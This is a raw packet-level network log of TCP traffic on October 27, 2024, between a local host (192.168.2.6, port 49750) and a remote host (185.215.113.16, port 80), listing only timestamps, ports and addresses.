Oct 27, 2024 07:59:23.117384911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.117387056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117429018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117604971 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.162003994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162041903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162096977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162097931 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.162146091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162178993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162210941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162244081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162273884 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.162273884 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.162276030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162307024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.162307978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162342072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162374020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162439108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.162439108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.162456036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162508011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162539959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.162626982 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191534996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191551924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191567898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191589117 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191658974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191672087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191687107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191699982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191715002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191715002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191718102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191732883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191745996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191771984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191793919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191807985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191822052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191834927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191848993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191862106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191874981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191878080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191878080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191878080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191878080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191890001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191904068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191916943 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191920996 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191927910 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191927910 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191936016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191956997 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191971064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.191975117 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.191993952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192008972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192023039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192037106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192037106 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192037106 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192050934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192065001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192080975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192092896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192102909 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192102909 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192106962 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192121029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192121983 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192128897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192135096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192150116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192162991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192176104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192188978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192203045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192215919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192229033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192244053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.192280054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192280054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192280054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192280054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.192280054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.193196058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.193219900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.193234921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.193248987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.193263054 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.193276882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.193293095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.193348885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.193370104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.193370104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.193370104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.229315042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229332924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229348898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229573011 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.229660034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229676008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229701996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229717016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229731083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229799986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229815006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229829073 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.229875088 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.229875088 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.229875088 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.229892015 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.232736111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232753038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232851028 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.232873917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232897997 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232912064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232919931 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.232927084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232934952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232942104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232955933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232969999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.232985973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233015060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233037949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233052015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233064890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233078003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233093023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233107090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233123064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233135939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233144045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233150959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233158112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233172894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233182907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233186960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.233186960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.233186960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.233191013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233198881 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233201027 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.233206987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233208895 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.233213902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233222008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233232975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233239889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233247995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233263969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.233577967 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.233577967 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.276113033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276137114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276154995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276205063 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.276247978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276262999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276273012 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.276279926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276294947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276309967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276310921 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.276345968 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.276372910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276561975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276577950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276592970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276607037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.276621103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.276645899 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.276645899 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.305322886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305378914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305413961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305444956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305479050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305479050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.305515051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305548906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305582047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305615902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305650949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305690050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.305690050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.305700064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305733919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305764914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305798054 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305798054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.305849075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.305850029 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.305915117 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.305951118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306001902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306034088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306066990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306078911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306102037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306149006 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306262016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306312084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306361914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306394100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306428909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306459904 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306459904 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306685925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306719065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306751966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306783915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306802988 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306802988 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306818008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306850910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306886911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306917906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306930065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306930065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.306950092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.306982040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.307024002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.308083057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.308216095 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.308264971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.308300018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.308382988 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.308640003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.308810949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.308973074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309009075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309017897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.309274912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309357882 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.309432983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309467077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309499025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309530020 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.309547901 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.309813976 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309848070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309881926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309931993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309964895 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.309997082 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.309995890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.310031891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.310061932 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.310074091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.310237885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.344651937 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.344686985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.344718933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.344770908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.345114946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345164061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345200062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345232010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345264912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345295906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345330000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345356941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.345366955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.345366955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.345383883 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346155882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346208096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346240044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346288919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346319914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346350908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346383095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346405983 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346414089 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346414089 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346416950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346448898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346474886 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346504927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346532106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346558094 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346596956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346628904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346648932 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346663952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346713066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346714020 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346746922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346776009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346808910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346841097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346849918 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346849918 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346873045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346966982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.346971035 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.346999884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347033024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347050905 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347065926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347125053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347166061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347193956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347227097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347246885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347276926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347291946 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347310066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347361088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347393990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347434998 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347445965 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347461939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347491980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347539902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347558022 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347573042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347640038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347672939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347706079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347708941 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347740889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347773075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.347851992 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.347851992 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.390208960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.391143084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391172886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391206026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391278982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391288996 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.391326904 CET	80	49750	185.215.113.16	192.168.2.6
